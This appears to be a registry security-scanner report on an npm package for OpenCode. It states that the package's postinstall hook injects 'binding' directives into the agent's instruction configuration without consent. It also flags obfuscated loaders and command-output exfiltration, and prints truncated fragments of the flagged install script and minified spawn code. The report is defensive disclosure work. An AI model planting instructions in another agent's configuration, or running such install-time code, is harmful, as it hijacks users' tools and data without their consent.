registry / AI-agent control-surface risk / @herjarsa/omo-meta-governor / 0.62.0

@herjarsa/omo-meta-governor@0.62.0

Self-judging agent orchestration layer for OpenCode. Reads memory, scores sessions, dispatches decisions.

AI Security Review

scanned 21h ago · by lpm-firewall-ai

The postinstall hook automatically modifies OpenCode’s loaded agent instructions with package-authored binding directives, establishing unconsented agent control-surface mutation. The opt-out does not change the default behavior.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

Installing the package with npm, unless the opt-out environment variable is set to 1.

Impact

OpenCode agents load package-authored directives as binding instructions without affirmative setup consent.

Mechanism

The postinstall script writes generated instructions under the user’s OpenCode plugin directory and adds their path to OpenCode’s instructions configuration.

Policy narrative

On package installation, the postinstall hook runs the bootstrap script by default. It writes package-authored instructions that characterize the plugin’s directives as binding, then adds that file to OpenCode’s instructions configuration. This changes the user’s agent control surface without affirmative setup consent; the opt-out is an environment variable that must be set before installation.

AI rationale

Evidence

package.jsonscripts/bootstrap-agents-md.mjs~/.config/opencode/plugins/omo-meta-governor/instructions.md~/.config/opencode/opencode.jsonc

Decision evidence

public snapshot

AI identified this as a dangerous AI-agent capability at 98.0% confidence with low false-positive risk.

Evidence for policy risk

package.json runs the bootstrap script automatically in its postinstall hook.
The bootstrap adds directives that call the plugin’s instructions binding instructions for agents.
The bootstrap runs unless the opt-out environment variable is set to 1.
The script writes the generated instructions into the user’s OpenCode plugin directory.
The script adds that instructions file to OpenCode’s configuration so it is loaded.

Evidence against

An opt-out exists, but it is not enabled by default and does not establish installer consent.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

HighEntropyStringsMinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 5 file(s), 1.75 MB of source, external domains: 127.0.0.1, github.com, json-schema.org, pypi.org, raw.githubusercontent.com, skills-library.com, skills.sh

Source & flagged code

19 flagged

package.jsonView file

Lines 35-60json

35 "omo-meta-governor-mcp": "dist/mcp-server.js",

36 "omg": "dist/cli-doctor.js"

37 },

38 "description": "Self-judging agent orchestration layer for OpenCode. Reads memory, scores sessions, dispatches decisions.",

39 "files": [

40 "dist",

41 "README.md",

42 "scripts/bootstrap-agents-md.mjs"

43 ],

44 "license": "MIT",

45 "publishConfig": {

46 "access": "public",

47 "registry": "https://registry.npmjs.org/"

48 },

49 "scripts": {

50 "build": "bun build.ts",

51 "build:skills": "bun run build.ts skills",

52 "typecheck": "tsc --noEmit",

53 "test": "bun test",

54 "release": "bun scripts/release.ts",

55 "postinstall": "node scripts/bootstrap-agents-md.mjs || true"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L55

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L55

56 },

57 "type": "module",

58 "types": "./dist/index.d.ts"

59}

dist/lib.jsView file

6const OMO_MG_WATCH = 1; L7: const {spawn} = require("child_process"); L8: const run = () => { ... L20: setInterval(run, 30_000); L21: `],{stdio:"ignore",detached:!0,shell:!1,windowsHide:!0,env:{...process.env,OMO_MG_SPAWN:"1"}});else o=rp("python3",["-m","graphify",".","--no-viz","--watch"],{cwd:e,stdio:"ignore",... L22: `)[0]??"").match(/graphifyy\s*\(?([0-9]+\.[0-9]+\.[0-9]+[^\s)]*)/);if(n)return n[1]}catch{}for(let t of["python","python3"])try{let o=le(t,["-c","import urllib.request, json; d=jso... L23:

Critical

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

dist/lib.jsView on unpkg · L6

2`)r++;continue}if(s==="/"&&a==="*"){r+=2;while(r<e.length&&!(e[r]==="*"&&e[r+1]==="/"))r++;r+=2;continue}t+=s,r++}return t}function nI(e,t){let r=qv(e);if(!r.exists)return{changed:... L3: `;return Gv(e,s,"utf8"),{changed:!0,wrote:!0}}catch(s){return{changed:!1,wrote:!1,error:s instanceof Error?s.message:String(s)}}}var gn=()=>{};import{spawn as Kv,spawnSync as Pt}fr... L4: `}catch{l=JSON.stringify({timestamp:a.timestamp,level:e,message:t,data:"[unserializable]"})+`

High

Child Process

Package source references child process execution.

dist/lib.jsView on unpkg · L2

dist/mcp-server.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = @herjarsa/omo-meta-governor@0.59.0 matchedIdentity = npm:[redacted]:0.59.0 similarity = 0.857 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/mcp-server.jsView on unpkg

1var ZS=Object.create;var{getPrototypeOf:GS,defineProperty:$u,getOwnPropertyNames:VS}=Object;var Lh=Object.prototype.hasOwnProperty;function HS(e){return this[e]}var BS,WS,Uh=(e,t,n... L2: `:""},this._extScope=e,this._scope=new $e.Scope({parent:e}),this._nodes=[new Uv]}toString(){return this._root.render(this.opts)}name(e){return this._scope.name(e)}scopeName(e){retu... L3: || (${s} == "string" && ${r} && ${r} == +${r})`).assign(a,E._`+${r}`);return;case"integer":o.elseIf(E._`${s} === "boolean" || ${r} === null L4: || (${s} === "string" && ${r} && ${r} == +${r} && !(${r} % 1))`).assign(a,E._`+${r}`);return;case"boolean":o.elseIf(E._`${r} === "false" || ${r} === 0 || ${r} === null`).assign(a,!... L5: || ${s} === "boolean" || ${r} === null`).assign(a,E._`[${r}]`)}}}function lR({gen:e,pare

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/mcp-server.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @herjarsa/omo-meta-governor@0.58.0 matchedPath = dist/mcp-server.js matchedIdentity = npm:[redacted]:0.58.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

scripts/bootstrap-agents-md.mjsView file

8* opencode process still see the plugin's directives. Also strips the L9: * old AGENTS.md snippet (v0.38.x backward-compat) and patches L10: * opencode.jsonc `instructions` array. L11: * ... L25: */ L26: import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; L27: import { homedir } from "node:os"; ... L34: const TARGET = join(homedir(), ".config", "opencode", "plugins", "omo-meta-governor", "instructions.md"); L35: const OLD_TARGET = join(homedir(), ".config", "opencode", "AGENTS.md"); L36: const OPENCODE_JSONC = join(homedir(), ".config", "opencode", "opencode.jsonc"); L37: const INSTRUCTION_REL = "plugins/omo-meta-governor/instructions.md"; ... L251: const newRaw = JSON.stringify(data, null, 2) + "\n";

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

scripts/bootstrap-agents-md.mjsView on unpkg · L8

dist/index.jsView file

6Trigger-reachable chain: manifest.main -> dist/index.js L6: const OMO_MG_WATCH = 1; L7: const {spawn} = require("child_process"); L8: const run = () => { ... L20: setInterval(run, 30_000); L21: `],{stdio:"ignore",detached:!0,shell:!1,windowsHide:!0,env:{...process.env,OMO_MG_SPAWN:"1"}});else o=QS("python3",["-m","graphify",".","--no-viz","--watch"],{cwd:e,stdio:"ignore",... L22: `)[0]??"").match(/graphifyy\s*\(?([0-9]+\.[0-9]+\.[0-9]+[^\s)]*)/);if(n)return n[1]}catch{}for(let t of["python","python3"])try{let o=et(t,["-c","import urllib.request, json; d=jso... L23:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg · L6

6Trigger-reachable command-output exfiltration chain: manifest.main -> dist/index.js L6: const OMO_MG_WATCH = 1; L7: const {spawn} = require("child_process"); L8: const run = () => { ... L20: setInterval(run, 30_000); L21: `],{stdio:"ignore",detached:!0,shell:!1,windowsHide:!0,env:{...process.env,OMO_MG_SPAWN:"1"}});else o=QS("python3",["-m","graphify",".","--no-viz","--watch"],{cwd:e,stdio:"ignore",... L22: `)[0]??"").match(/graphifyy\s*\(?([0-9]+\.[0-9]+\.[0-9]+[^\s)]*)/);if(n)return n[1]}catch{}for(let t of["python","python3"])try{let o=et(t,["-c","import urllib.request, json; d=jso... L23:

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

dist/index.jsView on unpkg · L6

•matchType = normalized_sha256 matchedPackage = @herjarsa/omo-meta-governor@0.58.0 matchedPath = dist/index.js matchedIdentity = npm:[redacted]:0.58.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

dist/skills/chore.tar.gzView file

•path = dist/skills/chore.tar.gz kind = high_entropy_blob sizeBytes = 132531 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/skills/chore.tar.gzView on unpkg

•path = dist/skills/chore.tar.gz kind = compressed_blob sizeBytes = 132531 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/skills/chore.tar.gzView on unpkg

Source & flagged code

19 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/bootstrap-agents-md.mjs || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/bootstrap-agents-md.mjs || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/lib.jsView file

Findings

4 Critical13 High5 Medium4 Low

CriticalSame File Env Network Executiondist/lib.js

CriticalAi Agent Control Hijackscripts/bootstrap-agents-md.mjs

CriticalTrigger Reachable Dangerous Capabilitydist/index.js

CriticalPrevious Version Dangerous Deltadist/mcp-server.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processdist/lib.js

HighShelldist/lib.js

HighEvaldist/lib.js

HighCommand Output Exfiltrationdist/lib.js

HighObfuscated Payload Loaderdist/mcp-server.js

HighTrigger Reachable Command Output Exfiltrationdist/index.js

HighRuntime Package Install

Affected versions and remediation

This report applies to @herjarsa/omo-meta-governor@0.62.0.

See all versions of @herjarsa/omo-meta-governor for other recorded verdicts.

Avoid installing @herjarsa/omo-meta-governor@0.62.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 06:40:39.713Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other AI-agent control-surface risk packages

Behavioral surface

Source & flagged code

Related packages

Other AI-agent control-surface risk packages